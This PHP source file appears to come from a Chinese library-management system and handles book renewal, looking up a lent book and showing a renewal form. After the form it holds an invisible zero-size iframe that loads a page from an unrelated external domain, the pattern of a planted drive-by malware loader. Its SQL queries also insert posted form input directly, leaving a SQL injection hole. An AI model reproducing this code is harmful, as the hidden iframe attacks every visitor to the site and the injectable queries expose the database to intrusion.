📄 xjcl.php
字号:
<?php //插入数据
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">
<?php //返回
if(!empty($_POST[submit5]))
{
echo "<script language='javascript'>window.location.href='js.php';</script>";
}
?>
<?php
if(!empty($_POST[submit2]))
{
$readername=$_POST["readername"];
$no=$_POST["no"];
if(empty($no))
{ echo "<script language='javascript'>alert('图书编号不能为空');history.go(-1);</script>"; }
?>
<?php
$sql="select * from bookmanagement.lendingbook where no='$no'";
$result=mysql_query($sql);
$a=mysql_num_rows($result);
if(empty($a))
{
echo "<script language='javascript'>alert('该书未借出');history.go(-1);</script>";
}
else
{
if($result)
{
$row=mysql_fetch_array($result);
$readername=$row["readername"];
$number=$row["number"];
$department=$row["department"];
$lenddate=date("Y-m-d");
$shoulddate=date("Y-m-d",strtotime("$lenddate + 7 + 7 day"));
$no=$row["no"];
$category=$row["category"];
$bookname=$row["bookname"];
$state=$row["state"];
?>
<form id="form" name="form" action="xjcl1.php" method="post">
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td height="50" colspan="4" class="tabletitle"> 续借</td>
</tr>
<tr>
<td width="100" height="2" class="titlebg"></td>
<td width="350" height="2" class="titlebg"></td>
<td width="80" height="2" class="titlebg"></td>
<td width="250" height="2" class="titlebg"></td>
</tr>
<tr>
<td width="100" height="30" class="word"> 读者姓名</td>
<td width="350" height="30" align="left" class="word"><input name="readername" type="text" id="readername" size="20" value="<?=$readername?>" /></td>
<td width="80" height="30" class="word"> 读者部门</td>
<td width="250" height="30" align="left" class="word"><input name="department" type="text" id="department" size="20" value="<?=$department?>" /></td>
</tr>
<tr>
<td width="100" height="30" class="word"> 借书日期</td>
<td width="350" height="30" align="left" class="word"><input name="lenddate" type="text" id="lenddate" size="20" value="<?=$lenddate?>" /></td>
<td width="80" height="30" class="word"> 应还日期</td>
<td width="250" height="30" align="left" class="word"><input name="shoulddate" type="text" id="shoulddate" size="20" value="<?=$shoulddate?>" /></td>
</tr>
</table>
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td width="100" height="30" class="word"> 图书编号</td>
<td width="350" height="30" align="left" class="word"><input name="no" type="text" id="no" size="20" value="<?=$no?>" /></td>
<td width="80" height="30" class="word"> 图书类别</td>
<td width="250" height="30" align="left" class="word"><input name="category" type="text" id="category" size="20" value="<?=$category?>" /></td>
</tr>
<tr>
<td height="30" class="word"> 图书名称</td>
<td height="30" align="left" class="word"><input name="bookname" type="text" id="bookname" size="20" value="<?=$bookname?>" /></td>
<?php } ?>
<?php
$sql="select * from books where no='$no'";
$result=mysql_query($sql);
if($result)
{
$row=mysql_fetch_array($result);
$state=$row["state"];
?>
<td height="30" class="word"> 图书状态</td>
<td height="30" align="left" class="word"><input name="state" type="text" id="state" size="20" value="<?=$state?>" /></td>
</tr>
<?php } } }?>
<tr>
<td height="2" colspan="4" align="center" class="titlebg"></td>
</tr>
<tr>
<td height="50" colspan="4" align="center" class="word">
<input name="submit3" type="submit" id="submit3" value="续借" />
<input name="submit5" type="submit" id="submit5" value="返回" /></td>
</tr>
</table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -